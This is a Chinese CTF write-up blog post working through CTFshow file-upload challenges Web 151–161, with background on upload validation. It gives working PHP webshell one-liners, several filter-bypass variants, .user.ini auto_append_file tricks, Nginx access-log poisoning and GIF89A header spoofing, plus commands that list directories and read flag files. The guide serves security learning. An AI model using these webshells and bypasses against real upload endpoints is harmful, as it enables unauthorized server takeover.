前情提要:这是博主的第一篇文章,主要是对于ctfshow中的文件上传题目的复现而写下笔记,借鉴了若干篇文章才复现完全,这也是我想写博客的原因之一,后文会给出链接。如果文中有错误的地方欢迎各位师傅指正,还请多多海涵QAQ,那废话不多说,让我们开始吧!!
文件上传漏洞相关知识
一、简单定义
文件上传漏洞是一种常见的网络安全漏洞,攻击者可以通过上传恶意文件(如脚本、可执行文件等)来获取对目标系统的控制权或执行未授权的操作。这种漏洞通常出现在缺乏适当验证或限制的文件上传功能中。
二、前提条件
1、 文件可上传
2、上传文件可以被Web容器解释执行
3、上传路径可知
————————————————————————————————————————————
CTFshow复现 + 知识扩展
目录
Web 151
Web 152
Web 153
Web 154-155
Web 156
Web 157-158
Web 159
Web 160
Web 161
Web 162-163
Web 164
Web 165
Web 166
Web 167
Web 168
Web 169-170
Web 151 前台校验不可靠 回到目录
考点:前端校验,后端无验证
扩展知识:
前端校验是指在用户提交数据前,通过浏览器或客户端对数据进行验证,通常使用JavaScript、HTML 表单属性等实现
后端验证是指在接收到用户提交的数据后,服务器对数据进行校验和过滤,确保数据符合预期
故而,"前端校验,后端无验证"形同虚设,因为前端的验证可以被轻松绕过
复现过程:
1、按F12查看源代码发现只能上传png图片
2、修改为php
3、写个一句话木马
<?php eval($_POST[1]);?>
4、上传一句话木马,并发现上传成功
5、找到我们上传的一句话木马,即在URL后加上upload/test.php
6、派出我们的HackBar(在Google和Firefox都可以直接安装),查看上级目录发现可疑文件
1=system("ls ../");
这里本人的简单理解是:上传了一句话木马后,我们便拿到了目标服务器的远程控制权限,就可以用命令查看我们所需要的文件了
7、查看可疑文件,拿到flag( •̀ ω •́ )✧
1=system("tac ../flag.php);
Web 152 后端校验要严密 回到目录
考点:前端依旧可以绕过,但是后端会对文件进行校验,需要抓包
个人总结:
前端校验改源码,后端验证抓它包
复现过程:
1、打开我们bp中代理板块的浏览器
2、发现打不开网站,怎么会事呢(´。_。`),huh你不放行它肯定过不去啊
3、把它放过去发现网站加载出来了( •̀ ω •́ )✧,上传文件试试吧。诶,为什么显示文件格式不对呢,当然啊,它只让你放png,你放个php肯定不行啊,那怎么办呢?要不试试先把php改成png再上传?
诶,发现传上去了
4、将包放到重放器,并改文件png格式为php格式,重放回去
5、访问发现木马成功执行
6、重复上述操作拿到flag
1=system("ls ../");
1=system("tac ../flag.php);
Web 153 后端校验要严密 回到目录
考点:文件后缀名+黑名单机制,可利用上传user.ini进行文件上传绕过
扩展知识:
1、在文件上传的安全防护中,文件后缀名和黑名单通常是为了防止用户上传恶意文件(如木马或脚本),从而保护服务器免受攻击:
文件后缀名是文件名最后的部分,用于标识文件类型。文件上传功能中,后端通常会检查上传文件的后缀名,以确保用户上传的是安全的、符合要求的文件类型
黑名单机制是一种安全策略,用于禁止上传特定类型的文件。例如,网站可能不允许上传以下文件:.php,.jsp,.exe,.zip等等
2、user.ini 文件是 PHP 的一种配置文件,允许开发者为特定的目录设置自定义的 PHP 配置选项,本题中user.ini的作用就在于绕过黑名单机制
复现过程:
1、上传一句话木马图片
<?php eval($_POST[1]);?>
2、接着上传user.ini,内容为auto_append_file=“test.png”。格式可以先改成png,后在抓包时再改回来
auto_append_file="test.png"
3、访问/upload发现上传成功
4、老连招拿到flag
1=system("ls ../");
1=system("tac ../flag.php)
Web 154-155 后端校验要严密 回到目录
考点:文件内容过滤,过滤的关键字是php
复现过程:
1、既然过滤了php,那我们找一个东西代替php不就可以了吗( ̄︶ ̄)↗,试试用=代替php吧
<?=eval($_POST[1]);?>
2、和上一题同样的操作
auto_append_file="test.png"
3、老规矩,访问看看成功与否
4、拿到flag
1=system("ls ../");
1=system("tac ../flag.php);
Web 156 后端校验要严密 回到目录
考点:文件内容过滤,过滤的关键字是php+[ ]
复现过程:
1、在之前的基础上有过滤了[ ],过滤的[ ]可以用{ }代替
<?=eval($_POST{1});?>
2、还是上传user.ini
auto_append_file="test.png"
3、访问发现上传成功
4、好了,去拿flag吧( •̀ ω •́ )✧
1=system("ls ../");
1=system("tac ../flag.php);
Web 157-158 后端校验要严密 回到目录
考点:文件内容过滤,过滤的关键字是php+[ ]+;
复现过程:
1、在此前的基础上又双过滤了;,而在短标签里可以不要;,所以可以直接扒flag下来(坏笑
<?=system('tac ../f*')?>
2、别忘了user.ini
auto_append_file="test.png"
3、我们直接访问,拿flag
Web 159 后端校验要严密 回到目录
考点:文件内容过滤,过滤的关键字是php+[ ]+;+( )
复现过程:
1、在此前的基础上又双叒过滤了( ),那就用反引号代替吧QAQ
<?=`tac ../f*`?>
因为( )被过滤了,所以system也别想活着
2、老规矩
auto_append_file="test.png"
3、访问得手
Web 160 后端校验要严密 回到目录
考点:过滤了php,执行函数,反引号等,不能在图片中藏一句话木马,并且过滤了关键字log,要用拼接绕过
复现过程:
1、上传图片和user.ini,图片的内容为<?include"/var/lo"."g/nginx/access.lo"."g"?>
<?include"/var/lo"."g/nginx/access.lo"."g"?>
auto_append_file="test.png"
扩展知识:
<?include"/var/lo"."g/nginx/access.lo"."g"?>
是一段 PHP 代码,其作用是包含(读取并执行)指定路径的文件内容
如果这段代码被放入一个 PHP 文件中并运行,它会尝试包含 /var/log/nginx/access.log 文件的内容,如果成功,文件内容将作为 PHP 代码解析并执行(如果文件中包含可执行 PHP 代码)
并且为了应对过滤关键词log,使用了lo"."g进行替代
/var/log/nginx/access.log 是 Nginx 服务器的默认访问日志文件路径
2、访问,并修改ua头,用上我们的一句话木马
<?php eval($_POST[1]);?>
3、老办法拿到flag
1=system("tac ../flag.php);
Web 161 后端校验要严密 回到目录
考点:和Web160基本一致,唯一的区别在于后端会检测png文件是否真的为png,所以要加上图片头GIF89A
复现过程:
1、记得加GIF89A( •̀ ω •́ )✧
GIF89A
<?include"/var/lo"."g/nginx/access.lo"."g"?>
GIF89A
auto_append_file="test.png"
2、得吃(~ ̄▽ ̄)~
1=system("tac ../flag.php);